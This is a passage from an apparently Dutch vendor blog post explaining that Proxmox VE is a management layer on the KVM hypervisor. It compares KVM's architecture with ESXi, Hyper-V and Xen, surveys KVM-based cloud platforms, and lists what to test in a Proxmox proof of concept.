proxmox_nic de plek zijn voor schijf- en NIC-wijzigingen, en de ongedocumenteerde returnwaarde die je uiteindelijk nodig hebt.","title":"Proxmox-VM's Maken met Ansible — De Host Die Je Bouwt Bestaat Nog Niet"},{"content":"De Vraag Waarmee Elke Proxmox-Evaluatie Begint \u0026ldquo;Is Proxmox echt enterprise-grade?\u0026rdquo;\nDie vraag komt in bijna elk migratiegesprek langs, en de zorg eronder gaat vrijwel nooit over de webinterface. Niemand vreest serieus dat een browserdashboard hun data zal beschadigen. Wat mensen echt vragen is of het onderdeel dat tussen een virtuele machine en de hardware staat — de component die de ene tenant uit het geheugen van de andere moet houden, voor altijd, zonder één enkele fout — een serieus stuk engineering is of een communityproject dat populair werd.\nDat is precies het juiste om zenuwachtig over te zijn. Het is alleen op de verkeerde laag gericht, want Proxmox VE bevat geen hypervisor.\nDe hypervisor is KVM. Het is onderdeel van Linux, het zit er sinds 2007 in, en als jouw organisatie EC2, Google Cloud, Oracle Cloud, Alibaba Cloud, DigitalOcean of Nutanix gebruikt, draai je het vandaag al in productie — je hebt er alleen nooit over hoeven nadenken, omdat iemand anders de lagen erboven bezat.\nDeze post gaat over wat dat gedeelde fundament werkelijk betekent. Allebei de helften ervan: het deel van het argument dat echt standhoudt, en het deel dat in verkoopsheets wordt overdreven.\nProxmox VE Is Een Managementlaag Virtualisatie op Linux bestaat uit vier aparte lagen, gebouwd en onderhouden door vier verschillende groepen mensen.\n1. Hardwarevirtualisatie-uitbreidingen. Intel VT-x met EPT, of AMD-V met NPT. Silicium. Dit is wat een gast in staat stelt zijn eigen kernel op native snelheid te draaien met zijn eigen page tables, zonder dat iets instructies emuleert.\n2. KVM — de hypervisor. Kernelmodules: kvm.ko voor de architectuuronafhankelijke kern, plus kvm-intel.ko of kvm-amd.ko voor de vendoruitbreidingen. Dit is de component die de isolatiegrens bezit. Het zet de virtual machine control structures van de gast op, handelt VM exits af, beheert de second-level page tables en levert interrupts af.\n3. De VMM — de virtual machine monitor, in user space. Op Proxmox VE is dit QEMU. Het bouwt het virtuele moederbord: chipset, PCIe-topologie, schijven, NIC\u0026rsquo;s, seriële poorten, firmware. KVM draait de CPU; QEMU bepaalt welke hardware de gast denkt te hebben.\n4. De managementlaag. Dit is Proxmox VE: pve-manager en pveproxy voor de API en interface, qemu-server om een VM-configbestand om te zetten in een QEMU-commandoregel, pve-container voor LXC, pmxcfs bovenop Corosync voor de gerepliceerde clusterconfiguratie, pve-ha-manager voor fencing en herstart, plus de firewall- en SDN-stack.\nDie vier lagen bestaan ook op het platform waar je vandaan migreert, en doen dezelfde vier taken — vCenter is laag 4, VMkernel is laag 2 — en ik kom op die vergelijking terug zodra alle stukken op tafel liggen.\nDezelfde vier lagen op Proxmox VE en op vSphere Proxmox VE VMware vSphere 4 \u0026#183; management Proxmox VE pve-manager \u0026#183; pveproxy \u0026#183; qemu-server pmxcfs op Corosync \u0026#183; pve-ha-manager \u0026#183; SDN vCenter Server een aparte appliance om te dimensioneren, patchen, licentiëren en back-uppen 3 \u0026#183; device model pve-qemu, in user space het virtuele moederbord: chipset, PCIe, schijven, NIC's upstream QEMU + 78 Proxmox-patches 2 \u0026#183; hypervisor \u0026#183; de isolatiegrens KVM \u0026#8212; kvm.ko + kvm-intel.ko / kvm-amd.ko vCPU entry en exit \u0026#183; EPT/NPT \u0026#183; interrupts upstream Linux, in een Proxmox-kernelbuild de VMX-userworld, één per VM device-I/O, snapshots, remote console user space \u0026#8212; niet in de kernel VMkernel, plus een VMM per vCPU gastinstructies en geheugen VMware's eigen woorden voor VMkernel: \u0026#8220;a POSIX-like operating system\u0026#8221; 1 \u0026#183; silicium Intel VT-x + EPT \u0026#183; AMD-V + NPT hetzelfde silicium Dezelfde vier lagen aan beide kanten. Proxmox schrijft laag 4, patcht laag 3 fors, bouwt de kernel van laag 2 en neemt KVM zelf van upstream. VMware schrijft alle vier en laat je er geen enkele lezen. Wat Proxmox Werkelijk Onderhoudt Proxmox VE bezit laag 4 volledig. Het zou onjuist zijn te zeggen dat het lagen 2 en 3 alleen maar inpakt, en dat is de meest voorkomende verkeerde lezing van wat het bedrijf doet.\npve-qemu draagt op dit moment 78 patches tegen upstream QEMU in zijn series-bestand:\nWat Proxmox toevoegt aan QEMU: 78 patches, op schaal extra/ bitmap-mirror/ pve/ 78 patches, op schaal 26 6 46 Gebackporte upstream-fixes. Opvallend veel zijn securityfixes in het device model: qxl- en virtio-gpu-stridevalidatie, een gast-triggerbare intel_iommu-abort, re-entrant DMA in lsi53c895a en virtio-net. Dirty-bitmap-syncmodi voor drive-mirror. Proxmox' eigen werk: savevm-async, het VMA-formaat, de PBS-block-driver, pbs-restore, alloc-track, backup fleecing. Op schaal getekend vanuit debian/patches/series. Het grootste deel van de wachtrij is Proxmox\u0026rsquo; eigen engineering, en het geheel zit in laag 3 — geen van deze patches raakt kvm.ko. Ze bouwen ook hun eigen kernel, en onderhouden packaging of patches voor het grootste deel van de omringende stack — pve-edk2-firmware voor OVMF, plus lxc, zfsonlinux, openvswitch, libiscsi, corosync-pve, lvm en ceph.\nDe echte grens is dus: heel laag 4, substantiële engineering binnen laag 3, en een kernel die ze zelf compileren. Wat ze niet hebben gedaan is een hypervisor schrijven. De KVM-code van laag 2 is upstream Linux.\nEn niets hiervan is kritiek op Proxmox. Het is juist de reden dat een bedrijf van Proxmox\u0026rsquo; omvang de klus überhaupt toevertrouwd kan worden. Een klein bedrijf in Wenen is niet gaan zitten om vanaf nul een hypervisor te schrijven; ze bouwden voort op eentje die Intel, AMD, Red Hat, Google, Amazon en IBM al engineers betaalden om te onderhouden, en staken hun eigen inspanning in de laag erboven en het integratiewerk dat die laag nodig heeft. Dat is waar een team van die omvang het verschil kan maken, en de patchwachtrij laat zien dat ze het maken.\nWat KVM Werkelijk Is KVM staat voor Kernel-based Virtual Machine, en de naam is exact: het is een kernelfunctie, geen programma.\nLaad de modules en Linux krijgt een character device, /dev/kvm, plus een kleine set ioctl-aanroepen erop — KVM_CREATE_VM, KVM_CREATE_VCPU, KVM_SET_USER_MEMORY_REGION, KVM_RUN. Die interface is de hele hypervisor-API. Alles wat een file descriptor kan openen en ioctl kan aanroepen, kan virtuele machines maken.\nHet werd geschreven door Avi Kivity bij Qumranet en samengevoegd in Linux 2.6.20, uitgebracht in februari 2007 — negentien jaar geleden. Red Hat nam Qumranet over in 2008, en KVM is sindsdien in elke kernelrelease meegeleverd, op het gebruikelijke ritme van negen à tien weken van de kernel. Het is ver buiten x86 geport: arm64, POWER, s390 op IBM Z, en RISC-V.\nHet belangrijke architecturale punt is waarom het klein is.\nKVM heeft geen scheduler, want Linux heeft er een. Een vCPU is een gewone hostthread, en de completely fair scheduler zet die net als elke andere thread op een core. Het heeft geen memory manager, want Linux heeft er een. Gast-RAM is een gewone user-space mapping, dus het kan worden gepaged, worden ondersteund door hugepages, of op een NUMA-node worden geplaatst met dezelfde machinerie als elk ander proces. Het heeft geen driverstack, geen block layer, geen netwerkstack en geen filesystem, want Linux had ze allemaal al en het zijn de exemplaren waar je hardwarevendor tegenaan test.\nDat is het werkelijke volwassenheidsargument, en het is veel sterker dan een versienummer. Elke NUMA-balancingverbetering, elke io_uring-wijziging, elke netwerkdriver, elke nieuwe CPU-errata-workaround die in Linux landt, landt onder je virtuele machines, want er is geen aparte hypervisorkernel waar iemand het naartoe hoeft te porten.\nHet Type 1-Argument Trekt De Grens Op De Verkeerde Plek Het bezwaar dat hierop volgt, betrouwbaar, is dat KVM \u0026ldquo;maar een type 2-hypervisor\u0026rdquo; is. Het draait op een host-OS, anders dan ESXi, dat op bare metal draait.\nDie taxonomie is drie decennia ouder dan hardwarevirtualisatie, en het ding waar ze een grens omheen trok, zit niet meer waar iedereen denkt dat het zit.\nWat Er Werkelijk Gebeurt Als Een vCPU Draait QEMU roept ioctl(vcpu_fd, KVM_RUN) aan. De controle gaat over naar kvm.ko, dat de CPU-toestand van de gast laadt en VMLAUNCH uitvoert. Vanaf die instructie tot de volgende VM exit draait de gast direct op de fysieke core, in guest mode, met zijn eigen page tables actief via EPT, op volledige hardwaresnelheid. Er zit niets onder dat iets interpreteert. Het \u0026ldquo;host-OS\u0026rdquo; zit niet in het pad. Het draait niet eens op die core.\nAls de gast iets doet dat afhandeling vereist, exit de CPU naar de host — en landt in kvm.ko, in de kernel, op precies het privilegeniveau dat de VMkernel van ESXi bezet. De meeste exits worden daar meteen opgelost en heringesprongen zonder dat user space er ooit bij betrokken is.\nHet pad dat een vCPU neemt van QEMU naar guest mode, en waar zijn exits stoppen user space kernel \u0026#8212; ring 0 host mode guest mode \u0026#8212; VMX non-root QEMU \u0026#8212; de vCPU-thread één gewone hostthread per vCPU kvm.ko VM entry \u0026#183; exit-afhandeling \u0026#183; EPT \u0026#183; interrupts de gast, op de fysieke core eigen kernel, eigen page tables via EPT draait op volledige hardwaresnelheid ioctl(KVM_RUN) VMLAUNCH VM exit hier opgelost exit naar user space Niets interpreteert de gast, en de host draait niet op die core. Waar een exit stopt Opgelost in de kernel \u0026#183; EPT/NPT-violation \u0026#183; local-APIC-write \u0026#8212; met APICv vaak geen exit \u0026#183; inter-processor interrupt, posted in hardware \u0026#183; virtio-net-doorbell, afgehandeld door vhost-net Bereikt QEMU \u0026#183; registertoegang op een geëmuleerde e1000 of IDE \u0026#183; PCI-configuration-space-write \u0026#183; alles wat alleen QEMU kan beantwoorden Alleen de tweede lijst betaalt een user-space- rondgang, en het is de lijst die je verkleint met virtio-apparaten en een machinetype dat geen legacy-hardware draagt. Het pad dat een vCPU neemt. Alles boven de stippellijn is een hostthread; alles eronder is de gast op bare silicium. De enige exits die QEMU bereiken zijn die welke QEMU moet beantwoorden. ESXi Heeft Dezelfde Splitsing Kijk nu naar het platform dat het onderscheid zogenaamd bewijst.\nVMware\u0026rsquo;s eigen architectuurdocumentatie beschrijft VMkernel als \u0026ldquo;a POSIX-like operating system\u0026rdquo; dat \u0026ldquo;process creation and control, signals, file system, and process threads\u0026rdquo; biedt. Dat is een besturingssysteem, volgens de beschrijving van de auteur zelf. En een draaiende VM op ESXi is geen ding binnen de kernel — het is een groep userworld-processen: een VMM per virtuele CPU, die de instructies van de gast virtualiseert en zijn geheugen beheert, en een VMX-proces per VM, dat de I/O afhandelt naar de apparaten die niet prestatiekritisch zijn en praat met de snapshotmanager en de remote console.\nLees dat met QEMU in gedachten. Uitvoeringscontext per vCPU in de kernel, user-space-proces per VM dat apparaatemulatie en beheer doet. VMware heeft het gesplitst om precies dezelfde reden als iedereen.\nHyper-V is niet anders. Microsofts documentatie is expliciet dat het Virtual Machine Worker Process, vmwp.exe, \u0026ldquo;a user mode component of the virtualization stack\u0026rdquo; is, per VM gestart, en dat alle geëmuleerde apparaten erin worden geïmplementeerd — draaiend in de root partition, wat Windows is. Zelfs Xen, de architectuur waar de taxonomie het beste bij past, heeft een general-purpose Linux in dom0 nodig om te functioneren, en haalt zijn device model voor volledig gevirtualiseerde gasten uit QEMU.\nWaar Ligt De Grens Dan? Het criterium was nooit \u0026ldquo;gebruikt het user space\u0026rdquo;. Goldbergs taxonomie, uit de vroege jaren zeventig, vraagt of de hypervisor een applicatie is die draait op een reeds bestaand besturingssysteem dat de hardware al bezit en de scheduling doet. Dat is een type 2, hosted hypervisor: VMware Workstation, VirtualBox, Parallels Desktop, kale QEMU zonder versnelling. Je installeert een general-purpose OS, dan installeer je er een programma op, en dat programma vraagt het OS om geheugen en CPU-tijd zoals elk ander programma.\nDat is niet wat KVM is. kvm.ko is geen programma bovenop Linux. Het is onderdeel van Linux, uitgevoerd op hetzelfde privilegeniveau als de code die de hardware bezit, en als een gast exit landt het daar direct. Er zit geen host-OS onder de hypervisor. De kernel is de hypervisor. Proxmox VE levert die kernel als het systeem, precies zoals ESXi de VMkernel als het systeem levert.\nEn de versie \u0026ldquo;het heeft user space nodig, dus het is type 2\u0026rdquo; kan niet gered worden, want consequent toegepast vangt het alles. Geen VM draait op ESXi zonder zijn VMX-proces, geen op Hyper-V zonder vmwp.exe, geen op Xen als HVM-gast zonder QEMU. Een test die elke bestaande hypervisor in één emmer stopt, onderscheidt niets.\nKernel die CPU- en geheugenvirtualisatie bezit User-space device model per VM Vereist een reeds bestaand host-OS? VMware ESXi VMkernel VMX per VM Nee Microsoft Hyper-V hypervisor plus de Windows root partition vmwp.exe Nee Xen Xen-hypervisor plus dom0 Linux QEMU, in dom0 of een stub domain Nee KVM kvm.ko QEMU Nee VirtualBox, VMware Workstation de kernel van de host, via een geïnstalleerde driver de applicatie zelf Ja Vier producten, één vorm — en dan een vijfde rij die echt anders is. Die laatste rij is waar \u0026ldquo;type 2\u0026rdquo; voor bedacht is, en het is de enige waar iets anders al de baas was over de hardware.\nDe taxonomie trekt dus nog steeds een grens. Alleen niet ergens in de buurt van waar het argument aanneemt: KVM en ESXi staan aan dezelfde kant ervan. KVM type 2 noemen leent een woord uit de VirtualBox-categorie en plakt het op iets dat architecturaal in de ESXi-categorie thuishoort.\nDaarmee doet het label geen nuttig werk in een evaluatie, want beide producten waartussen je kiest zitten in dezelfde emmer. Wat verschilt is niet het typenummer. Het is dat de ene vendor ook de kernel schreef en je die niet laat lezen — een licentie- en transparantieverschil vermomd als architectuurdiagram. Nutanix laat het punt commercieel zien: het levert dezelfde KVM-code als Proxmox en omschrijft AHV als een bare-metal type 1-hypervisor. Dezelfde code, tegenovergesteld label, andere marketingafdeling.\nEr zit een echte zorg verborgen in de beschuldiging, en die verdient een betere naam: een general-purpose kernel doet duizend taken die een purpose-built kernel niet doet, wat meer code en meer aanvalsoppervlak naast de isolatiegrens betekent. Dat is legitiem en meetbaar, en ik kom er tegen het eind op terug.\nWaar Het Werk Werkelijk Gebeurt De ene plek waar het \u0026ldquo;het draait op een host-OS\u0026rdquo;-instinct een echt punt heeft, is exit-afhandeling, dus het is de moeite waard om duidelijk te zijn over welke exits waarheen gaan.\nDe gast doet dit Afgehandeld door Kosten Raakt een pagina aan die nog niet in EPT/NPT is gemapt kvm.ko, in de kernel Eén exit, microseconden Schrijft naar zijn lokale APIC De CPU zelf, via APICv/AVIC Vaak helemaal geen exit Stuurt een inter-processor interrupt Posted interrupts in hardware Vaak geen exit Verzendt op een virtio-net-queue met vhost-net Kernelthread, geen user-space-hop Eén doorbell Leest een register op een geëmuleerde e1000 of IDE-controller Helemaal naar QEMU Exit plus een user-space-rondgang Alleen de laatste rij lijkt ook maar iets op de type 2-karikatuur — en het is ook de rij die je wegontwerpt, door virtio-apparaten te gebruiken en geen geëmuleerde legacy-hardware te presenteren die je niet nodig hebt. Dat is dezelfde redenering achter Q35 kiezen boven i440fx: minder getrapte registertoegangen, minder legacy-apparaten om langs te lopen.\nHet Host-OS Is Een Feature, Geen Ballast De andere helft van dat grootboek haalt het argument nooit, dus hier is die: een Proxmox-node is een machine waar je echt op kunt werken. Het is Debian, dus het hele Debian-archief is één apt install verderop.\nMonitoring die je al draait — een Prometheus node exporter, smartmontools, je bestaande agent — in plaats van wat de appliance kiest bloot te leggen. Diagnostiek als iets traag is: fio, iperf3, nvme-cli, perf, bpftrace. Backup-agents van elke vendor die een Linux-binary levert. Configuration management, zodat de hypervisor in dezelfde Ansible-inventory zit als al het andere in plaats van een uitzondering te zijn. fwupd voor firmware, op hardware waarvan de vendor LVFS ondersteunt. Niets daarvan heeft een pluginformaat, een gesigneerde bundel of vendorzegen nodig. Vergelijk dat met het ESXi-model, waar de shell bewust beperkt is, third-party code als VIB aankomt, en er helemaal geen package manager is om naar te grijpen.\nHet Reikt Tot In De Storagestack Monitoring-agents zijn de saaie versie hiervan. Proxmox\u0026rsquo; eigen storagedocumentatie somt de native plugins op — dir, NFS, CIFS, CephFS, ZFS, BTRFS, LVM, LVM-thin, iSCSI, FC/SAS, RBD, ZFS-over-iSCSI, PBS — en voegt er dan een zin aan toe die je letterlijk mag nemen:\nyou may use all storage technologies available for Debian Linux\nDat is een uitspraak over waar de grens ligt, en het mechanisme erachter is generiek: krijg een block device op elke node, zet er LVM op, voeg het toe als LVM-storage met shared ingeschakeld. Precies zo werken de ondersteunde Fibre Channel- en iSCSI-paden, dus alles wat een gedeeld block device kan produceren, kan dezelfde route gebruiken.\nVier transports, één route naar gedeelde Proxmox-storage het transport wat Linux je geeft wat Proxmox ziet Fibre Channel / SAS native plugin iSCSI native plugin NVMe/TCP of RDMA geen plugin \u0026#8212; nvme-cli ATA over Ethernet geen plugin \u0026#8212; aoetools een block device op elke node /dev/sdX \u0026#183; /dev/nvme0n1 LVM volume group shared: 1 storage type: lvm live migratie over het cluster Proxmox VE hoeft alleen de twee blokken rechts te herkennen. Alles links ervan is de Linux block layer, en die maakt niet uit hoe het device aankwam. Twee van deze transports hebben een Proxmox-plugin en twee hebben helemaal niets, en het maakt niets uit voorbij het tweede blok. De LVM-laag is waar een gedeelde LUN clusterstorage wordt, wat het ook aanleverde. NVMe over TCP of RDMA is het geval dat het waard is te kennen, want het is snel, actueel, en afwezig op die pluginlijst. nvme-tcp en nvme-rdma zijn in-tree Linux-hostdrivers — NVMe/TCP zit sinds 5.0 in mainline — dus er is niets te compileren. nvme-cli is een Debian-pakket (nvme discover, dan nvme connect), en nvmetcli configureert de in-kernel nvmet-target aan de andere kant. Een verbonden namespace verschijnt als /dev/nvmeXnY, en van daaraf is het een gewoon block device.\nATA over Ethernet maakt hetzelfde punt vanaf het tegenovergestelde uiteinde van het spectrum — oeroud, obscuur, even niet-ondersteund als plugin. De aoe-driver zit in mainline; aoetools geeft je aoe-discover en aoe-stat; vblade maakt van elk bestand of block device op een andere machine een target. Zelfde route, zelfde uitkomst.\nGeen van beide is een plugin-API, een SDK of een certificeringsprogramma. Het is wat er gebeurt als de storagelaag van de hypervisor de Linux block layer is.\nDe eerlijke kanttekeningen, want dit leest als een goocheltruc tot het 3 uur \u0026rsquo;s nachts is. Geen van beide transports is een geteste Proxmox-storagetype, dus de integratie en de foutmodi ervan — reconnect-gedrag, multipath, timeouts onder belasting — zijn de jouwe om te bezitten en te testen voordat er iets belangrijks op leeft. En AoE is een kaal Layer 2-protocol, niet-routeerbaar en zonder authenticatie, dus het hoort op een geïsoleerd storage-VLAN en nergens anders. NVMe/TCP heeft tenminste een discoverymodel en kan gerouteerd worden, wat een groot deel is van waarom het degene is om nu naar te grijpen.\nWie KVM Nog Meer Draait Hier komt de claim \u0026ldquo;je draait het al\u0026rdquo; vandaan. Elk platform hieronder draait dezelfde kernelmodule.\nPlatform Waar je het tegenkomt Het KVM-deel De user-space-VMM Amazon EC2 (Nitro) Publieke cloud KVM-kernmodule Eigen — QEMU verwijderd, device model in de Nitro-kaarten AWS Lambda, Fargate Serverless /dev/kvm Firecracker — een minimale microVM-monitor in Rust Google Compute Engine Publieke cloud KVM sinds de lancering Google\u0026rsquo;s eigen VMM, bewust niet QEMU Alibaba Cloud ECS Publieke cloud Vereenvoudigde KVM (X-Dragon) Eigen, met net en storage offloaded naar een MoC-kaart Oracle Cloud (OCI) Publieke cloud Oracle Linux KVM — dezelfde stack die Oracle on-premises levert QEMU-afstamming DigitalOcean, Linode/Akamai, Vultr, Hetzner, OVHcloud, Scaleway, UpCloud Publieke cloud Standaard-KVM QEMU Nutanix AHV On-premises HCI Standaard-KVM QEMU met libvirt en Open vSwitch OpenStack (Nova) Private cloud Standaard-KVM QEMU via libvirt — de standaard- en best geteste driver Apache CloudStack, OpenNebula, oVirt On-premises Standaard-KVM QEMU via libvirt OpenShift Virtualisation, SUSE Harvester Kubernetes Standaard-KVM QEMU binnen een pod, via KubeVirt Proxmox VE On-premises Standaard-KVM QEMU, met LXC ernaast voor containers Iedereen Houdt De Kernelhelft En Herschrijft De User-Space-Helft De hyperscalers hebben KVM niet geforkt. Ze hebben de taak van QEMU geforkt.\nAWS haalde EC2 van Xen af naar de Nitro-hypervisor, die gebouwd is op de KVM-kernmodule met QEMU er volledig uit gegooid. Het device model leeft in plaats daarvan in speciale Nitro-kaarten, wat is hoe ze prestaties krijgen die niet van bare metal te onderscheiden zijn. Elk EC2-instancetype van de huidige generatie draait dit. Los daarvan draaien Lambda en Fargate Firecracker, een purpose-built VMM in Rust die met dezelfde /dev/kvm praat.\nGoogle heeft elke Compute Engine-VM op KVM gedraaid sinds Compute Engine werd gelanceerd, en schreef zijn eigen user-space-VMM in plaats van QEMU te gebruiken, expliciet om QEMU\u0026rsquo;s enorme matrix van gasten, apparaten en modi te vermijden. Ze gingen ook de andere kant op en hardden de kernelmodule upstream, verwijderden geëmuleerde apparaten die niemand nodig had en versmalden de set geëmuleerde instructies. Dat werk zit in de KVM die je draait.\nAlibaba deed hetzelfde soort ding met X-Dragon: een uitgeklede KVM-hypervisor met de netwerk- en storagevirtualisatie offloaded naar een FPGA-gebaseerde MoC-kaart.\nNutanix AHV is KVM plus libvirt plus QEMU plus Open vSwitch plus Nutanix\u0026rsquo; orchestratie — van elk commercieel product op die lijst de naaste verwant die Proxmox VE heeft. Een andere laag 4, en een heel andere factuur.\nVijf platforms, vijf device models, één KVM Amazon EC2Nitro Google CloudCompute Engine Alibaba CloudECS, X-Dragon NutanixAHV Proxmox VEop Debian management device model hypervisor hardware EC2 control plane console en API per instance-uur GCE control plane console en API per instance-uur ECS console en API per instance-uur Prism en AOS op elke node per node, per jaar pve-manager pveproxy, HA, SDN op elke node optioneel abonnement eigen VMM, helemaal geen QEMU apparaten leven op de Nitro-kaarten Google's eigen user-space-VMM, bewust geen QEMU vereenvoudigde VMM, netwerk en storage offloaded naar een MoC-kaart QEMU, libvirt en Open vSwitch QEMU, met LXC ernaast KVM \u0026#8212; kvm.ko, kvm-intel.ko / kvm-amd.ko de isolatiegrens, en het is dezelfde code in elke kolom Intel VT-x + EPT \u0026#183; AMD-V + NPT Dezelfde kernelmodule in elke kolom. Wat verandert naar boven in de stack is het device model, dan de managementlaag, dan de licentie — wat ook de volgorde is waarin deze platforms werkelijk verschillen. Proxmox VE Houdt QEMU Met Opzet Het is verleidelijk de tabel als een ranglijst te lezen, met AWS en Google bovenaan omdat ze QEMU vervingen. Dat is de verkeerde lezing, want hun beperking is niet de jouwe.\nAWS en Google draaien één hardwareprofiel, op een schaal waar één device-emulatiebug een vlootbrede gebeurtenis is, en ze beheersen elke gast-imagegrens waar ze om geven. In die wereld is QEMU\u0026rsquo;s breedte bijna volledig een last, dus het schrappen ervan is overduidelijk juist.\nJij zit niet in die wereld. Je hebt een appliance-image uit 2013 dat een e1000 wil. Je hebt een Windows-VM waarvan het machinetype de rest van zijn leven vastgepind moet blijven. Je hebt een GPU om door te geven, een geëmuleerde SAS-controller om een installer tevreden te stellen, een UEFI-variabelenopslag om te behouden. QEMU is precies wat een general-purpose platform in staat stelt op dat alles ja te zeggen.\nWat AWS aanvalsoppervlak noemt, noem jij een compatibiliteitsmatrix. Beide beschrijvingen kloppen; het verschil is of je je workloads mag kiezen.\nHet verklaart ook de vorm van die patchwachtrij. AWS en Google losten backup en snapshots buiten de VMM op, in hun eigen storagediensten. Proxmox had geen storagedienst om het in op te lossen, dus stopten ze het in QEMU — en daarom bestaan savevm-async en de PBS-block-driver als patches in plaats van als producten.\nEn dat is de moeite waard te weten om een praktische reden: de onderdelen van Proxmox VE die je het meest zou missen, zijn de onderdelen die niet upstream zijn. Je VM-configs zijn platte tekst en je schijfimages zijn standaardformaten, dus een machine zal verhuizen. Maar een snapshot inclusief RAM-toestand, en een incrementele keten van Proxmox Backup Server, hangen af van Proxmox\u0026rsquo; QEMU-fork. Dat is een veel lichtere afhankelijkheid dan een proprietary hypervisor — de fork is openbaar, AGPL, en je kunt elke patch erin lezen — maar het is niet nul, en \u0026ldquo;geen lock-in op softwareniveau\u0026rdquo; hoort die voetnoot te dragen.\nDus — Is Het Enterprise-Grade? De luie vorm van dit argument werkt niet, en het is de moeite waard dat ronduit te zeggen. \u0026ldquo;AWS gebruikt KVM, dus Proxmox VE is enterprise-grade\u0026rdquo; is een non sequitur: het neemt een claim over één laag en past die stilletjes toe op een heel product.\nHier is de versie die wél standhoudt.\nWat gedeeld wordt, is de laag die het moeilijkst goed te krijgen is en het gevaarlijkst om verkeerd te krijgen. CPU- en geheugenvirtualisatie, en de isolatiegrens tussen tenants, is het deel waar een bug een inbraak is in plaats van een storing. Die code wordt beoordeeld door engineers die betaald worden door Amazon, Google, Red Hat, Intel, AMD, IBM en Alibaba, en de bugs ervan worden gevonden door de partijen die de grootste vloten ter wereld draaien — meestal voordat de kernel jou bereikt. Als er wél een guest-escape-kwetsbaarheid landt, komt de fix via de gewone kernelupdate die je toch al zou toepassen. Je wacht niet op de releasecyclus van één vendor voor een hypervisor die alleen die vendor kan zien.\nWat niet gedeeld wordt, is alles boven de grens. Wat betekent dat de vraag samenvalt tot twee veel beter te beantwoorden vragen:\nIs de managementlaag goed genoeg voor de manier waarop je werkt? Kun je er support voor kopen met voorwaarden waarmee je kunt leven? Beide kunnen worden getest in een proof of concept en vastgelegd in een contract. Geen van beide vereist geloof in een hypervisor.\nDat is een veel betere positie dan die welke de oorspronkelijke vraag aanneemt — dat je gevraagd wordt een nieuwe hypervisor van een kleine vendor te vertrouwen. Dat is niet zo. De Proxmox-specifieke code is een managementlaag grotendeels in Perl en steeds meer in Rust, plus die patchwachtrij tegen QEMU, en let op waar de patches landen: het device model en het backuppad, niet de isolatiegrens.\nHet is ook de moeite waard te weten wat het uitvallen van de Proxmox-specifieke laag je kost. De QEMU-processen zijn gewone onafhankelijke processen op de host, dus pveproxy dat omvalt stopt geen enkele virtuele machine. Dat is een heel andere blast radius dan het verliezen van de component die de isolatiegrens bezit.\nWat \u0026ldquo;Dezelfde Hypervisor\u0026rdquo; Je Niet Oplevert Hier houden vertrouwensdocumenten van vendors doorgaans op, wat je iets vertelt over voor wie ze geschreven zijn. Het is de nuttiger helft.\nHet levert je AWS\u0026rsquo; betrouwbaarheid niet op. Nitro\u0026rsquo;s beschikbaarheid heeft heel weinig met KVM te maken. Ze komt van de control plane, de netwerkfabric, de storagedienst, het capaciteitsbeheer en de operationele praktijk eromheen. De betrouwbaarheid van jouw cluster komt van je Corosync-quorumontwerp, je fencingconfiguratie, je storagekeuze en je netwerkredundantie. KVM heeft over geen van die dingen een mening. Een hypervisor delen met een hyperscaler erft hun operations niet.\nHet levert je Nitro\u0026rsquo;s aanvalsoppervlak niet op, en dit is waar de legitieme helft van de type 2-beschuldiging landt. Je draait QEMU op een general-purpose kernel, en historisch is QEMU\u0026rsquo;s device model waar de gedenkwaardige VM-escapes zaten — VENOM, in een geëmuleerde floppycontroller die niemand gebruikte, is het canonieke voorbeeld. Google kon destijds opmerken dat Compute Engine onaangetast was, juist omdat het geen QEMU draait. Jij draait het wél, dus de compenserende controles zijn de jouwe: geef de voorkeur aan virtio boven geëmuleerde hardware, presenteer geen apparaten die je niet nodig hebt, laat de AppArmor-profielen met rust, en patch QEMU met dezelfde discipline als de kernel. Proxmox\u0026rsquo; extra/-patches zijn hen die precies dat namens jou doen, wat een redelijk ding is om te controleren of ze het nog steeds doen.\nHet maakt VM-gedrag niet overdraagbaar tussen platforms. CPU-modelselectie, machinetypeversionering, live-migratiecompatibiliteit en klokgedrag worden allemaal in lagen 3 en 4 bepaald, en ze verschillen overal. Een cluster met gemengde CPU-generaties zal je nog steeds straffen voor het instellen van het CPU-type op host, en gastklokken driften nog steeds wat het logo op het platform ook is. Dezelfde hypervisor is niet hetzelfde gedrag.\nHet beantwoordt de supportvraag niet — de vraag waar inkoop daadwerkelijk om geeft, en terecht. Proxmox VE is AGPLv3 en gratis te draaien in productie. Het abonnement koopt de enterprise-geteste repository en vendorsupport, vanaf €120 per socket per jaar. Proxmox\u0026rsquo; eigen support wordt geleverd tijdens Oostenrijkse kantooruren, dus dekking rond de klok komt van partners in plaats van uit Wenen. croit, waar ik werk, is een van die partners, en dekt 24/7, 365 dagen per jaar. Dat is een commerciële onderhandeling, geen technisch risico — en dat het een commerciële onderhandeling is, is het hele punt van alles hierboven.\nWat Je In Plaats Daarvan Zou Moeten Evalueren Als de hypervisor vaststaat, zou een proof of concept zijn tijd moeten besteden aan de laag die echt specifiek voor Proxmox VE is:\nFencing en HA. Trek de stroom eruit op een node met draaiende HA-gasten en klok de herstart. Doe het dan bij twee nodes en bevestig dat de overige zich gedragen zoals je verwacht wanneer het quorum verloren gaat. Live migratie over CPU-generaties heen. Met het CPU-model waarop je echt van plan bent te standaardiseren, niet host. Backup en, belangrijker, restore. Hersteltijden onder belasting, geen backuptijden. Niemand is ooit bedankt voor een snelle backup. Het permissiemodel. Of je een applicatieteam console- en power-controle over hun eigen VM\u0026rsquo;s kunt geven en niets anders, granulair genoeg om een auditor tevreden te stellen. De API. Alles wat de webinterface doet is een API-aanroep; als je automatisering die niet kan aansturen, past het platform niet bij hoe je werkt. Het upgradepad. Een major-versie-upgrade op het PoC-cluster, voordat je er 400 VM\u0026rsquo;s op hebt. Geen van die zijn vragen over KVM. Dat is juist het punt.\nDe hypervisor is het vaststaande deel. Besteed de proof of concept aan de delen die dat niet zijn.\nReferenties KVM zelf\nKVM API-documentatie — de /dev/kvm-ioctl-interface, het hele hypervisorcontract Linux 2.6.20 release notes — de release waarin KVM werd samengevoegd, februari 2007 Some KVM developments — LWN, januari 2007, over KVM in de dagen nadat het in mainline landde Hoe de andere hypervisors zijn gebouwd\nInterpreting virtual machine monitor and executable failures — Broadcoms eigen beschrijving van een draaiende ESXi-VM als \u0026ldquo;several processes or userworlds\u0026rdquo;, met één VMM per vCPU en één VMX per VM The Architecture of VMware ESXi (PDF) — de whitepaper die VMkernel \u0026ldquo;a POSIX-like operating system\u0026rdquo; noemt met processen, signalen, een file system en threads. Gelinkt via een mirror omdat de originele VMware-URL de Broadcom-reorganisatie niet overleefde, wat een eigen klein commentaar op vendorcontinuïteit is 